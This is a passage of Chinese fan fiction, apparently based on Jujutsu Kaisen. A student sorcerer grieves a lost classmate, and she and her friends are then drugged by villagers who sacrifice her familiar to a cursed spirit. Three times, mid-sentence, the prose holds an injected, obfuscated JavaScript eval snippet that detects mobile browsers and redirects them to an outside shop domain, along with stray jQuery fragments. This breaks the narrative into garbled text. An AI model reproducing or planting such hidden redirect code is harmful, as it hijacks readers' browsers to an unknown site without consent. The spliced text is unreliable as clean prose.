中午的时候,钉崎野蔷薇来了 她手里提着两盒披萨,脸上的表情努力维持着平静,但眼眶还有些红,看得出是哭过的痕迹。 她把披萨放在花野依和伏黑惠的床头,站在两张病床中间,深吸了一口气,开口的声音还有些沙哑: “给你们带了午饭。” 花野依坐起身,看着那盒披萨,又看向野蔷薇 她的神色很正常,正常到几乎有些不正常,没有悲伤过度的痕迹,没有崩溃后的疲惫,只是安静地接过披萨,轻声说 “谢谢。” 野蔷薇看着她,沉默了几秒,然后突然开口:“小依,谢谢你。” 花野依抬起头 “谢谢你让噗噗来救我。” 野蔷薇的声音有些发紧,但她努力维持着平稳 “如果不是它,我可能……可能也……” 她没说完,但意思已经很清楚 花野依看着她,目光柔和了几分,她摇了摇头,用那种轻轻的、温温柔柔的声音说 “噗噗醒过来之后,听见你道谢会很高兴的。” “那我到时候正式跟它道谢。” 野蔷薇说着,像是想到了什么,又问,“对了,噗噗喜欢吃什么?肉干吗?” 话一出口,她就僵住了 肉干 那天在任务开始之前,虎杖和野蔷薇摸着玉犬的头说“等出去给你吃肉干”的画面,同时浮现在三个人的脑海里。 医务室里陷入了一片悲伤的沉默 野蔷薇的手指攥紧了披萨盒的边缘,伏黑惠的目光移向窗外,花野依低着头,谁也看不见她的表情。 过了很久,花野依开口了 她的声音依然是那样轻轻的、柔柔的,“噗噗喜欢吃植物和咒灵,” 她顿了顿,又补充道,“如果硬要说肉干的话……咒灵肉干也许不错。” 野蔷薇愣了一下,然后嘴角微微扯动了一下,那是一个很浅很浅的笑。 “咒灵肉干,”她说,“那可得好好找找。” 气氛松动了一点,就一点点,但足够让人呼吸了。 花野依低下头,打开披萨盒,拿起一块披萨,小口小口地吃起来,野蔷薇也坐了下来,伏黑惠也慢慢坐起身。 三个人就这样沉默地吃着午饭,偶尔交换几句无关紧要的话。 窗外的雨不知什么时候停了 云层裂开一道缝隙,有阳光从那里漏下来,落在湿漉漉的地面上,反射出细碎的光。 咒术师的身体素质确实异于常人,那些普通人需要静养月余的伤势,在反转术式的治疗和咒术师自愈能力的双重作用下,三天便已痊愈得七七八八。 第三天的午后,花野依和伏黑惠一同离开了医务室,走出那扇门时,花野依,目光平静却带着一丝执着。 那之后的几天,校园里的气氛始终笼罩着一层若有若无的阴翳。 钉崎野蔷薇的笑容少了许多,虽然她还是会和花野依说话,会在食堂里给她留位置,会在路过时拍拍她的肩膀,但那笑容总是浅了几分,像是隔着一层阴影。 伏黑惠则比平时更加沉默,训练时下手更狠,结束后离开得更快,偶尔望向某个方向的视线里,藏着说不清的情绪。 只有花野依,在这片悲伤的氛围里,显得格外平静 她依旧维持着之前那种忙碌的生活节奏,清晨天还没亮就起床练习「幻花镜」,白天泡在图书馆翻阅那些厚重的典籍 傍晚和伏黑惠对练,让噗噗和那些式神在空地上缠斗——甚至比之前更加忙碌。 回到宿舍不是休息,而是继续研究咒术的开发,一盏小小的台灯会亮到深夜,照亮那些密密麻麻的文字和她在笔记本上写下的批注。 特别是关于反转术式的记录,她学得格外认真 那些晦涩难懂的咒力运行原理,那些复杂得让人头疼的术式解析,那些前辈们留下的手稿和笔记。 她一遍遍地读,一遍遍地抄,一遍遍地试图理解那些藏在文字背后的东西。 有时候她会盯着某一段文字看很久很久,久到台灯的光都变得刺眼,久到窗外的天色从漆黑变成深蓝。 久到噗噗用脑袋蹭着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471637|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手发出担心的“噗叽”声,她才恍然回神,揉揉眼睛,继续翻到下一页。 她在找什么,她自己也不知道 也许只是在找一种可能,一种如果当时她能掌握这个,一切就会不一样的、虚无缥缈的可能。 就这么过了几天 那天傍晚,结束了对练之后,花野依正准备像往常一样离开,却被伏黑惠叫住了。 “花野,” 他的声音从身后传来,依然是那种平淡的、没什么起伏的调子,“等一下。” 花野依停下脚步,转过身看向他,夕阳的余晖从西边斜射过来,在两人之间铺开一层暖橙色的光。 伏黑惠站在那片光里,脸上的表情看不太清楚,只能看见他微微皱起的眉头。 “我和钉崎决定参加今年的姐妹交流会,”他语气平静,“和京都的那边。” 花野依愣了一下 姐妹交流会——她在图书馆的典籍里看到过相关资料,那是东京咒术高专和京都咒术高专之间每年一度的交流活动。 包括团体战和个人战,是咒术高专最重要的传统活动之一,但她记得,那应该是高二和高三学生参加的活动。 “原本是高二和高三参加的,”伏黑惠像是看穿了她的疑惑,继续解释道 “但今年高三的学长学姐被停课了,人数不够,所以需要高一的学生补充。” 他顿了顿,目光落在花野依脸上:“钉崎和我已经答应了所以……你要不要一起?” 花野依看着他,沉默了几秒 姐妹交流会 意味着更多的训练,更多的战斗,更多的——和咒灵面对面的机会。 “好。”她听见自己说,声音平静,无波无澜,“我参加。” 伏黑惠点了点头,似乎对这个答案并不意外,他转过身,像是准备离开,但刚迈出一步,又停了下来。 “花野……” 花野依抬起头 伏黑惠背对着她,站在那片夕阳里,过了好几秒,才慢慢转过身来。 他的脸上依然没什么表情,但那双眼睛里,带着一丝担忧。 “你……” 他开口,又停住,像是在斟酌该怎么表达,“你还好吗?” 花野依愣了一下 “我和钉崎都很担心你,” 伏黑惠继续说,语气比平时慢了许多,每一个字都像是认真挑选过的 “你最近……状态不太对。” 他指了指自己的眼睛下面 “这里,乌青很重,遮不住的那种。” 花野依下意识地伸手摸了摸自己的眼下,确实能摸到一点痕迹。 那种睡眠不足导致的浮肿和暗沉,即使她每天早上用冷水敷过,也还是藏不住。 “而且你瘦了,”伏黑惠又说 “比刚来的时候还瘦,钉崎说你吃饭的时候总是吃得很少,问你是不是不舒服,你每次都说过会儿再吃,然后过会儿就忘了。” 他说这些的时候,语气依然是那种平淡的调子,但花野依能听出来,那平淡下面藏着的关心和担忧,以及不知道该怎么表达才好的笨拙。 她看着伏黑惠,看着那张努力想要表达关心的脸,心里某个地方轻轻动了一下。 然后她笑了 那笑容很浅,浅得几乎看不出来 “只是苦夏罢了……” 她声音柔和而平静,像是在说一件再普通不过的事情 “夏天就是这样,天气热,胃口不好,睡眠也浅,过段时间就好了。” 伏黑惠看着她,看了好几秒 他想说点什么,想说苦夏不是这样的,想说你的眼睛下面不是睡眠浅能解释的。 想说你和钉崎都不擅长撒谎但钉崎至少会哭出来而你这样更让人担心—— 但最后,他什么都没说 只是点了点头 “那你自己注意。”他说,顿了顿,又补了一句,“有事就说。” 他转身,走进了那片越来越暗的夕阳里 花野依站在原地,看着他的背影渐渐远去,直到消失在暮色深处。 周围安静下来,只有晚风吹过树梢的沙沙声,和远处隐约传来的几声鸟鸣。 夕阳的最后一抹余晖在天边燃烧,把云层染成暗红色,像是谁不小心打翻了颜料,又像是某种变化在无声地渗出来。 她低下头,看向自己的手 那双手曾经抓住过虎杖的手腕,曾经把他往后拖,曾经想要救他。 那双手现在空空如也,什么都没有 “苦夏……” 她对着空荡荡的校园,轻声重复了一遍这个词。 然后她转身,朝着宿舍的方向走去 晚风吹起她的发丝和衣角,把她的影子拉得很长很长,投在地上,像是一个孤独的、沉默的、不肯倒下的灵魂。 15. 第十五章 夏季的咒灵像是从地缝里钻出来的蛆虫,源源不断,杀不尽,除不完。 咒术界本就紧缺的人手在这几个月里被压榨到了极限,一个咒术师恨不得掰成两半用,任务单像雪片一样飞来,压得人喘不过气。 五条悟被派往海外处理一个棘手的特级咒灵,已经快一周不见人影,偶尔能从伊地知那里听到只言片语的消息。 什么“非洲那边出了点状况”,什么“还需要一段时间”,什么“让你们先顶着”,然后就再也没有然后了。 花野依和伏黑惠、钉崎野蔷薇就这样被卷入了这漩涡般的忙碌里,二级任务,三级任务。 他们像三颗被不断抽打的陀螺,在东京都内外的各个咒灵出没点之间来回奔波,没有停歇,没有喘息。 祓除,受伤,治疗,祓除,受伤,治疗…… 周而复始的循环成了生活的全部,像一条永远走不到头的路,每一步都踩在自己的血里。 花野依的伤好得越来越快了,她已经习惯了。 习惯了手臂被划开时的刺痛,习惯了肋骨断裂时的闷响,习惯了咒力耗尽后那种从骨髓深处涌上来的疲惫。 她学会了在战斗中保护要害,学会了在受伤后咬牙坚持,在反转术式治疗时一声不吭地盯着天花板,数着那些细小的裂缝,等疼痛过去。 她的眼底乌青再也遮不住了,瘦削的脸颊凹下去,颧骨高高突起,校服穿在身上空荡荡的,风一吹就能看见布料下面单薄的轮廓。 钉崎野蔷薇和伏黑惠偶尔会用那种沉默的、担忧的目光看她,但他们什么都没说,他们无暇顾及,因为他们自己也一样。 —— 那次任务,来得毫无预兆 是一个偏远山村的委托 村子附近的山里出现了咒灵,等级评定为二级,需要咒术师前往处理。 辅助监督在车上给他们介绍情况时,语气很平常,像介绍任何一个普通任务: “雾谷村,人口大约两百人,主要产业是林业和少量种植业,三天前有研究员在山里失踪,窗发现了咒力残留,初步判断是二级咒灵,你们需要找到咒灵,祓除。” 花野依坐在后座,看着窗外越来越偏远的风景,心里有一种模糊的感觉,她把这归咎于连日任务的疲惫,没有多想。 连日来的奔波已经让她学会了忽略那些没有来由的直觉,毕竟在咒术师的世界里,无端的敏感只会让人寸步难行。 车在村口停下时,迎接他们的是一个满脸皱纹的老人。 那人穿着深灰色的上衣,腰微微弯着,脸上带着那种乡间老人特有的和善笑容,说话的声音沙哑而缓慢,透着一股让人放心的质朴: “哎呀,我是这里的村长,姓佐藤,几位咒术师大人辛苦了,快请进,快请进,山里凉,先喝口热茶暖暖身子。” 钉崎野蔷薇被这一口一个“大人”叫得浑身不自在,往后退了半步摆着手说“不用这么客气”。 伏黑惠微微皱起眉头,目光在老人脸上停留了一瞬,像是在判断什么。 花野依站在他们身后,看着那些从村子里探出头来好奇张望的村民,孩子们在路边追逐打闹的普通景象,心里那种模糊的感觉渐渐散了。 可能只是太久没见过这么……普通的地方了吧。 自从进入咒术高专以来,她见过的都是咒灵、血迹、死亡,突然来到这样一个安静祥和的村子,不适应也是正常的。 村子不大,一条主路贯穿东西,两旁是错落的木质民居,有些房子看得出有些年头了。 墙壁被风雨侵蚀得发黑,但家家户户门前都收拾得干干净净,种着些不知名的花草。 有几个老人坐在门口晒太阳,看见他们经过,都露出和善的笑容,微微点头致意。 一个扎着冲天辫的小女孩蹲在路边玩石子,抬头看见他们,眼睛亮晶晶的,咧开嘴笑,露出缺了一颗的门牙。 钉崎野蔷薇忍不住多看了那孩子两眼,嘴角微微弯起一点弧度,伏黑惠依然面无表情,但脚步放慢了些。 花野依走在他身侧,目光从那些村民脸上扫过,心里涌起一种奇异的、久违的平静感觉。 在调查时村长佐藤亲自带着他们在山里转,说是“给大人们带路”。 他走在最前面,步伐稳健得不像一个老人,一边走一边给他们介绍山里的情况 哪片林子容易迷路,哪条溪谷雨季会涨水,哪里能采到最好的野菜,哪里曾经有过野兽出没。 他的语气朴实而真诚,像是真的在为这几个年轻人的安全操心。 “之前失踪的那些人,”伏黑惠拿出笔记本,一边记录一边问 “都是在什么地方失踪的?” 佐藤村长停下脚步,指向远处一片茂密的树林 “就是那边,那片林子很深,村里人平时都不敢进去,那几个失踪的年轻人……唉,说是想进去采集一些植物数据,结果就再也没出来。” 他说着,叹了口气,脸上的皱纹似乎更深了 “我们组织了搜救队,找了好几天,只找到一些衣服碎片,还有……还有那种让人心里发毛的感觉,村里老人都说,那山里怕是有不干净的东西。” 钉崎野蔷薇看向伏黑惠,伏黑惠点了点头,示意她继续往前走,几个人朝着那片树林的方向走去,脚下的山路越来越崎岖,树木越来越密集,光线也越来越暗。 花野依走在最后,一边走一边感知周围的咒力波动,她用「幻花镜」的感知能力,捕捉那些普通人察觉不到的咒力痕迹。 她能感觉到,这片林子里确实残留着咒力的气息,但很微弱,很分散,像是被什么东西刻意隐藏过。 “有发现吗?”伏黑惠回头问她。 花野依摇了摇头:“太散了,需要时间。” 伏黑惠点了点头,没有多问,他们继续深入树林。 佐藤村长跟在后面,一言不发,只是那双眼睛,时不时会落在花野依身上,像是在观察什么。 一下午过去,什么都没有发现 他们在那片林子里转了很久,只找到一些零星的咒力残留,形不成任何有用的线索。 傍晚回到村子时,天已经快黑了,几个人都有些疲惫,佐藤村长把他们带到一处民宅前,说是给他们安排的住处。 那是一栋老旧的木屋,但收拾得很干净,榻榻米散发着新鲜的草席味,被褥叠得整整齐齐,桌上还摆着一壶热茶和几个粗瓷杯子。 一个系着围裙的婶子从厨房里探出头来,笑眯眯地说 “你们回来啦?饭马上就好,先喝口茶歇歇。” 钉崎野蔷薇愣了一下:“饭?” “对啊,”婶子擦着手走出来 “村长说了,你们是来帮我们解决问题的,哪能让你们自己开火!这几天就在我家吃,我手艺不好,你们别嫌弃。” 钉崎野蔷薇张了张嘴,想说点什么,却被那股从厨房飘出来的香味堵了回去。 伏黑惠看了花野依一眼,花野依轻轻摇了摇头,意思是“先观察观察”,于是三个人在矮桌旁坐下来,捧着热茶,等着开饭。 炖得软烂的萝卜,清炒的山野菜,一碗味噌汤,几条烤得焦香的鱼。 食材新鲜得像是刚从地里摘的、从河里捞的,每一口都带着自然的鲜甜。 钉崎野蔷薇埋头扒饭,吃得比平时多了一倍,伏黑惠虽然还是那副面无表情的样子,但碗里的饭下去得很快。 花野依小口小口地喝着汤,感受着那股暖意从胃里蔓延到四肢。 “合胃口吗?” 婶子端着一个小碟子走过来,碟子里是几块腌得红亮的酱菜 “这是我去年秋天腌的,尝尝看。” 钉崎野蔷薇接过碟子,夹了一筷子放进嘴里,眼睛顿时亮了起来 “好吃!姐姐你手艺也太好了吧!” 婶子笑得眼睛眯成一条缝:“喜欢就多吃点,明天再给你们做别的。” 花野依看着她那张朴实的脸,看着她眼角细密的皱纹,看着她粗糙的双手。 那是常年劳作留下的痕迹,她想起了她的奶奶。 第二天,他们又进山了 这一次,他们扩大了搜索范围,把那片树林周边的区域也走了个遍。 三个人配合默契,效率比第一天高了不少,但奇怪的是,他们始终找不到那个咒灵的踪迹。 那些咒力残留像是一盘散沙,散落在各个地方,无法串联成任何有用的信息。 “不对劲”傍晚收工的时候,伏黑惠开口 “这个咒灵要么很弱,要么……很会藏。” 钉崎野蔷薇擦了把汗:“会不会是情报有误?根本不是什么二级咒灵,只是个低级货?” “不太像”花野依轻声说 “那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471638|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒力残留虽然散,但质量不低,如果是低级咒灵,不会有那么浓的残留。” 伏黑惠点了点头,表示同意,三个人沉默着往村子走,天色越来越暗,山间的雾气开始升腾,把远处的树木笼罩成模糊的影子。 回到村子时,天已经全黑了,婶子依然站在门口等着他们,手里提着一盏灯笼,昏黄的光晕在黑暗中格外温暖。 看见他们回来,她连忙迎上来,嘴里念叨着 “累坏了吧,快进来吃饭,今天炖了鸡汤”。 钉崎野蔷薇被她拉着往屋里走,一边走一边回头冲花野依做鬼脸。 花野依看着她的背影,嘴角微微弯起一点弧度。 第三天的调查依然没有结果。 时间就这样一天天过去,他们白天进山,晚上回村吃饭、休息。 那些村民越来越熟悉他们,走在路上会主动打招呼,孩子们会好奇地跟在他们身后跑,偶尔有胆大的还会凑上来问 “你们是来打妖怪的吗?” 钉崎野蔷薇渐渐放开了,会和那些婶婶聊家常,会和孩子们玩闹。 伏黑惠虽然还是那副样子,但偶尔也会回应村民的问话,甚至有一次,花野依看见他蹲下来,摸了摸一个小孩的头。 花野依自己,也在这种氛围里慢慢放松下来 热气腾腾的饭菜,关切的问候,朴实的笑容,像是一点一点渗进她心里的暖流,把她这些日子积累的疲惫和紧绷都慢慢融化。 第五天晚上,佐藤村长来敲门 “几位大人,” 他站在门口,脸上带着那种一如既往的和善笑容 “今天有人在山里发现了一些奇怪的东西,可能是咒灵的线索,天快黑了,你们明天再去看看?” 钉崎野蔷薇立刻来了精神:“什么线索?” “听说是看到了奇怪的影子,”佐藤村长说 “就在之前失踪村民的那片林子附近,具体我也说不清楚,明天让发现的人带你们去看看。” 他说完,又补充道:“对了,今天晚上村里有人家办喜事,杀了一头猪,做了些菜,想请几位大人过去坐坐,表达一下我们的谢意。” 花野依和钉崎野蔷薇看向伏黑惠,伏黑惠沉默了几秒,点了点头。 “那就打扰了。” 晚饭很丰盛 大块的炖肉泛着油亮的酱色,新鲜的蔬菜堆得冒尖,自家酿的米酒装在粗瓷碗里,还有村里婶婶们拿手的各种小菜摆了满满一桌。 他们被请到村长家里,坐在暖和的榻榻米上,被一群热情的村民围着,不停地被劝着吃菜、喝酒。 钉崎野蔷薇被几个婶婶拉着聊家常,问东问西,笑得脸都僵了。 伏黑惠被几个老人拉着下棋,沉默地应对着那些不太高明的棋路,偶尔微微皱起眉头。 花野依坐在角落里,被一个扎着冲天辫的小女孩拉着看她的图画本。 “姐姐你看,这是我画的,” 小女孩指着那些歪歪扭扭的线条,眼睛亮晶晶的 “这是山,这是树,这是小花,这是小兔子……” 花野依低头看着那些稚嫩的线条,看着那些用蜡笔涂抹出的鲜艳色块,嘴角不自觉地弯起一点弧度 “画得很好看。” “真的吗?” 小女孩的脸兴奋得发红,翻到新的一页 “那这张呢?这张是我最喜欢的!” 那页纸上画着三个人形,两个高一点的,一个矮一点的,用最简单的线条勾勒,但能看出是在画他们。 小女孩指着那三个人形,一个一个数过去 “这个是姐姐,这个是那个短头发的姐姐,这个是那个不爱说话的哥哥……” 花野依看着那张画,心里涌起软软的感觉。 “这张送给姐姐!” 小女孩把画塞进她手里,仰着脸期待地看着她 “你拿着,这样你以后就不会忘记我了!” 花野依低头看着那张纸,看着那些稚嫩的线条,看着那张仰起的小脸,轻轻点了点头。 “谢谢你” 他们三人被热情地灌了不少米酒,那些酒虽然度数不高,但喝多了还是有些晕乎乎的。 回到住处时,花野依的头微微发沉,脚步有些虚浮。 她倒在床上,嘴角带着一丝若有若无的笑意,闭上眼睛沉沉睡去。 16. 第十六章 黑暗 无尽的、稠密的、像是能吞噬一切的黑暗 花野依的意识从沉睡深处被猛地拽出来时,首先感受到的就是这种黑暗。 她的眼皮像被胶水黏住一样沉重,努力了好几次才勉强睁开一条缝,却什么都看不见,只有无边的黑暗压迫在眼球上。 紧接着涌入意识的是身体的感觉 四肢像是被抽去了骨头,肌肉像是一滩烂泥,连抬起一根手指都需要用尽全力。 身体像是被从内部侵蚀后的瘫软。 她被下药了! 这个念头在脑海里浮现时,心脏猛地加速跳动,血液冲上头顶,让她昏沉的意识清醒了几分。 花野依拼命转动眼珠,试图在黑暗中分辨出什么。 视线逐渐适应后,她隐约能看见一些模糊的轮廓。 头顶是极高的穹顶,有微弱的光线从某些缝隙里漏下来,但太过微弱,无法照亮任何东西。 她躺在一个巨大的平面上,触感是冰凉的、粗糙的岩石,身下没有任何铺垫,冷意透过单薄的衣物渗进骨髓。 不远处,有两团模糊的轮廓,是伏黑惠和钉崎野蔷薇。 他们和她一样,一动不动地躺在那里,花野依能看见钉崎野蔷薇侧脸和伏黑惠微微起伏的胸口。 他们还活着,但也和她一样,被药物控制着,动弹不得。 她想喊他们的名字,但喉咙里只能发出细微的、沙哑的气音,微弱得几乎听不见。 那些气音在空旷的空间里消散,没有任何回应。 就在这时,远处传来声音 说话的声音,从下方传来,在空旷的山洞里回荡,带着隐隐的回音。 花野依的心脏猛地收紧,她屏住呼吸,拼命集中注意力去听 “……都准备好了吗?” “准备好了,等天亮就可以开始献祭,祭坛也打扫干净了。” “那几个咒术师呢?还昏着?” “昏着呢,那药量够他们睡到明天中午,我亲眼看着他们喝下去的,一滴没剩。” “好,好!今年这几个可是好货色,尤其是那个瘦瘦小小的,一看就是有本事的,山神大人一定会喜欢!” 献祭?! 咒术师?! 好货色?! 那些词语像一把把刀,一刀一刀地剜进花野依的心里,她的脑子开始艰难地运转,把这些碎片拼凑起来 那些热情的笑容,那些温暖的饭菜,那杯被劝着喝下去的米酒…… 都是假的! 全都是假的!! 那些失踪的研究员,是被献祭了! 没有什么二级咒灵需要祓除,那个咒灵就是他们供奉的“山神”! 他们不是什么来帮助村民的咒术师,他们是 祭品! 花野依的呼吸变得急促起来,胸腔剧烈起伏,却发不出任何声音。 她的身体开始发抖,一种从骨髓深处涌上来的、无法抑制的颤抖。 那些画面在脑海里走马灯一样闪过 村民在路边好奇地张望,孩子们追逐打闹的普通景象。 温暖的饭菜,那些关切的问候,那些让她想起“家”的瞬间 都是为了让他们放松警惕,都是为了让他们乖乖喝下那杯酒,都是为了 把他们送上这座祭坛!!! 花野依的眼眶开始发酸,泪水不受控制地涌出来,顺着眼角滑落,无声地渗进身下的岩石。 泪水是烫的,烫得她眼眶生疼,烫得她整张脸都在发麻。 为什么? 她无声地问,嘴唇翕动着,发不出任何声音。 为什么要骗我们? 那些饭菜,那些笑容,那些关心,难道全部都是假的吗? 那个小女孩……那个送她画的小女孩,也是假的吗? 花野依闭上眼睛,眼泪流得更凶了 她想起那个孩子仰起脸看着她时亮晶晶的眼睛,想起那些歪歪扭扭的线条涂满的图画本,想起了那句不舍的话语 那个孩子才多大?六岁?七岁?她知道自己家人在做什么吗? 她知道自己送画的对象会被献祭给山神吗?还是说 她也参与其中? 这个念头像一把冰锥,狠狠地刺进花野依的心里,她猛地睁开眼睛,目光在黑暗中搜索,她看见了 下方,有光 微弱的光,照亮了山洞底部的一部分空间,借着那点光,她看见了那些跪伏的身影。 很多人 密密麻麻的,跪成一片 佐藤村长跪在最前面,背挺得笔直,像是在等待什么神圣的时刻。 送饭的婶子跪在他身后不远处,低着头,肩膀微微颤抖,不知是激动还是恐惧。 陪钉崎聊天的那些女人,下棋的那些老人,还有那些在路上和他们打招呼、对他们笑的村民,全都跪在那里。 在人群的最边缘,一个小小的身影跪着,跪在地上,头也不敢抬。 是那个小女孩 花野依的目光落在那个小小的身影上,心脏像是被什么东西狠狠攥住,攥得她喘不过气来。 那个孩子穿着和那天一样的衣服,扎着和那天一样的冲天辫,小小的身子缩成一团,跪在冰冷的地上,和其他村民一起,等待着献祭的开始。 她知道的…… 她什么都知道! 那张画,那句“这样你回去以后就不会忘记我了”,那些亮晶晶的笑容 都是在和将死之人告别 花野依的眼泪突然止住了 一种更复杂、更沉重的情绪涌上来,把悲伤压了下去。 之前感受到的种种温馨,反过来刺进她自己心里。 那些村民的声音继续传来,断断续续地飘进耳朵 “……山神大人今天心情好像不错,刚才祭坛那边有动静……” “……使者呢?那个咒灵使者抓到了吗?” “抓到了抓到了,关在特制的笼子里呢!那东西小是小,还挺凶,咬了我一口。” “哈哈,等会儿就先把它献上去,给山神大人当开胃菜,等山神大人享用完,再献那几个咒术师……” 咒灵使者? 关在笼子里? 花野依的心脏猛地停止跳动,然后以更快的速度狂跳起来。 噗噗!是噗噗!! 他们抓了噗噗!!! 她拼命抬起头,用尽全身力气想要看向那个方向,下方的人群前方,佐藤村长手里提着一个东西。 那是一个用竹条编成的笼子,在昏黄的光线中晃动着,笼子里,有一团小小的、绿色的、正在微弱挣扎的身影。 噗噗 她的噗噗 “噗……噗……” 花野依的喉咙里发出细微的、破碎的声音,想要喊它的名字,想要伸出手,想要冲过去 但她动不了 她只能躺在那里,眼睁睁地看着,看着那个小小的笼子在佐藤村长手里晃动。 噗噗的身影微弱地挣扎,那些村民跪伏在下方,等待着献祭的开始。 泪水模糊了视线,让她看不清那个笼子,看不清那个小小的身影,只看见一片模糊的光和影。 不 不要! 噗噗…… 噗噗太虚弱了,虚弱到无法回应她,只能在那小小的笼子里微弱地挣扎。 佐藤村长的声音再次响起,这一次更加清晰: “诸位” 他的声音在山洞里回荡,带着一种狂热的虔诚 “又到了一年一度向山神大人献祭的日子,感谢山神大人这一年来的庇佑,今日,我们将献上山神大人最喜欢的祭品” 他举起那个笼子,让所有人都能看见 “先献上这个咒灵使者,它蕴含着强大的咒力,定能让山神大人满意!待山神大人享用之后,我们再献上那三个年轻的咒术师。 他们的咒力更纯粹,血肉更鲜美,定能让山神大人更进一步,成为真正的神祇!” 村民们齐声应和,声音在山洞里回荡,震得花野依耳膜生疼。 “恭迎山神大人——!” “恭迎山神大人——!” “恭迎山神大人——!” 那狂热的呼喊声中,山洞的顶部开始有了变化。 花野依拼命抬起头,看向那个方向。 黑暗中有无数只若隐若现的手,苍白而细长,像是从虚空中生长出来的藤蔓,缓缓向下延伸,向着那个小小的笼子,向着噗噗,伸过去。 “不……”她的声音终于冲破喉咙,发出嘶哑的、破碎的喊叫,“不——噗噗——!” 那些手抓住了笼子 佐藤村长恭敬地低下头,双手捧着笼子举过头顶。 那些手轻轻一提,笼子就从他的掌心升起,向着黑暗的深处飘去,越升越高,越升越远 噗噗在笼子里挣扎着,发出微弱的“噗叽”声,那双黑豆一样的眼睛穿过黑暗,穿过那些苍白的手,望向花野依的方向。 那双眼睛里倒映着她的影子 然后,那些手合拢了 笼子被拖进了黑暗深处 噗噗消失了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471639|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那条连接着她和噗噗的、从她还是婴儿时就存在的无形纽带,在那一瞬间 断了…… 花野依的脑子里一片空白 她躺在那里,眼睛睁得大大的,望着那片吞噬了噗噗的黑暗。 什么都看不见,什么都听不见,什么都感觉不到。 泪水在流,身体在抖,但她已经感觉不到 莫名的空洞在胸腔里越扩越大,越扩越大,大到能把一切都吞噬进去。 村民们的声音从下方传来,依然是那种狂热的、虔诚的调子 “感谢山神大人!感谢山神大人收下祭品!” 那些声音像隔着厚厚的水层传来,模糊而遥远,花野依的耳朵里嗡嗡作响,什么都听不清。 只能看见那些跪伏的身影在下方晃动,看见那些人在叩首,在祈祷,在感谢 感谢什么? 感谢杀了噗噗的那个怪物? 感谢把他们当成祭品的那个东西? 感谢这一切的始作俑者? 花野依看着这一幕,看着那些曾经和善的村民们,此刻正跪在那个吞噬了噗噗的怪物面前,虔诚地祈祷。 她的脑子里有什么东西断掉了 她闭上眼,一股恨意从她心底最深处涌上来,像是岩浆一样滚烫烧得她五脏六腑都在疼,疼得她想尖叫,想撕碎什么,想把眼前这一切…… 她想起伏黑惠说过的话:“咒术师不是去拯救每一个人的,有些人,不值得救。” 她睁开眼睛,再次看向那些跪伏的身影 那些人还跪在那里,还在祈祷,还在等待那个吞噬了噗噗的怪物降临。 他们…… 不值得救 她胆小,懦弱,总是为别人着想,总是把错归到自己身上,她从来没有恨过任何人,从来没有。 但现在,她恨 她恨这些村民 她恨他们虚伪的笑容,恨他们虔诚的跪拜,恨他们把噗噗献祭时的理所当然,恨她把他们当成好人时的愚蠢! 她恨他们! 为什么? 为什么要保护这种人? 他们有什么值得保护的? 他们比咒灵更像怪物! 这个念头在脑海里浮现时,下方的人群突然爆发出更加狂热的呼喊 “恭迎山神大人——!” “山神大人显灵了——!” 那股威压降临了 那是一种无法形容的压迫感,像是死亡本身正站在面前,用那双空洞的眼睛俯视着。 咒力从山洞的深处涌出,浓稠得几乎凝成实质,像黑色的雾气一样弥漫开来,充斥着整个空间。 那是——特级咒灵的威压! 花野依的意识被那股威压猛地拽回来,她看见黑暗中有什么东西正在成形。 一个巨大的、类人型的轮廓,无数只苍白的手在它周身挥舞,像是它的毛发。 那些手和刚才吞噬噗噗的手一模一样,只是更多,更密,更可怖。 它的眼睛慢慢睁开 那是一双血红色的、没有任何情感的眼睛,俯视着下方的村民,俯视着祭坛上的三个人,像是俯视着一群蝼蚁。 吃了噗噗之后,它变强了 原本只是二级的咒灵,现在是特级! 佐藤村长跪伏在地上,声音颤抖而狂喜 “恭迎山神大人!感谢山神大人降临!请享用您的祭品,那三个年轻的咒术师,他们的血肉定能让您满意!” 村民们也跟着跪伏下去,齐声高呼:“恭迎山神大人!请享用祭品!” 那个小女孩也跪在人群里,小小的身子趴在地上,头也不敢抬。 花野依看着这一幕,她想起自己成为咒术师的初衷。 她的花店,这辈子可能都开不成了 普通的生活,从一开始就不属于她 那她到底是为了什么,才一次次受伤,一次次拼命,一次次在生死边缘挣扎? 为了这些人吗? 为了这些笑着给她下药、跪着把她献祭的人吗? 黑暗中,那个特级咒灵的眼睛越来越亮,像是两盏血红的灯笼,向着祭坛上的三个人,缓缓逼近。 花野依闭上眼睛 她已经没有任何力气了 没有咒力,没有噗噗,没有任何希望 就这样,死在这些人手里? 死在那个吞噬了噗噗的怪物嘴里? 